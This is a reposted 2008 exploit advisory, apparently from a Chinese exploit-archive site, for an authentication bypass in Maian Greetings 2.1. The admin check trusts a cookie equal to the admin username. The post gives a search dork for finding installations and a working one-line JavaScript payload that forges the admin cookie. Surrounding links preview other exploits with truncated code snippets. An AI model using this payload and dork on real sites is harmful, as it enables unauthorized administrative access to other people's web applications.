Maian Greetings 2.1 Insecure Cookie Handling Vulnerability

所属分类：网络安全 / Exploit 阅读数： 139

收藏 0赞 0分享

Author: Saime
Date: July 12, 2008
Script: Maian Greetings v2.1 Insecure Cookie Handling Vulnerability
URL: http://www.maianscriptworld.co.uk
Dork: Powered by: Maian Greetings v2.1

Description:
Maian Greetings v2.1 is suffering from insecure cookie handling, the /admin/index.php only checks if cookie mecard_admin_cookie,
equals admin username.

Exploit:
javascript:document.cookie = "mecard_admin_cookie=admin; path=/php/demos/greetings/admin/"

更多精彩内容其他人还在看

Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit

----------------------------------------------------------------------------- Ultra Office ActiveX Control Remote Arbitrary File Corruptio

收藏 0赞 0分享

Dana IRC 1.4a Remote Buffer Overflow Exploit

#!/usr/bin/perl # k`sOSe - 08/24/2008 # This is a useless and not portable exploit code, tested only on my winxp-sp3 VM. # I was loo

收藏 0赞 0分享

GeekLog

#!/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; print <<INTRO;

收藏 0赞 0分享

NoName Script

################################################################################ [ ] NoName Script 1.1 BETA Multiple Remote Vulnerabiliti

收藏 0赞 0分享

Pars4U Videosharing V1 XSS / Remote Blind SQL Injection Exploit

#!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print "

收藏 0赞 0分享

Belkin wireless G router ADSL2 modem Auth Bypass Exploit

<html> <head> </head> <body> <b>html code to bypass the webinterface password protection of the Be

收藏 0赞 0分享

Download Accelerator Plus - DAP 8.6 (AniGIF.ocx) Buffer Overflow PoC

<html> <body> <object classid='clsid:82351441-9094-11D1-A24B-00A0C932C7DF' id='target' /> </o

收藏 0赞 0分享

BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit

#!/usr/bin/perl # # Title: BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit (PoC) # # Summary: BlazeDVD is leading

收藏 0赞 0分享

Sun xVM VirtualBox

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurit

收藏 0赞 0分享

Discuz! 6.0.1 (searchid) Remote SQL Injection Exploit

<?php error_reporting(E_ALL&E_NOTICE); print_r(" ------------------------------------------------------------------ Exploi

收藏 0赞 0分享

Maian Greetings 2.1 Insecure Cookie Handling Vulnerability

Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit

Dana IRC 1.4a Remote Buffer Overflow Exploit

GeekLog

NoName Script

Pars4U Videosharing V1 XSS / Remote Blind SQL Injection Exploit

Belkin wireless G router ADSL2 modem Auth Bypass Exploit

Download Accelerator Plus - DAP 8.6 (AniGIF.ocx) Buffer Overflow PoC

BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit

Sun xVM VirtualBox

Discuz! 6.0.1 (searchid) Remote SQL Injection Exploit

网络赚钱

站长故事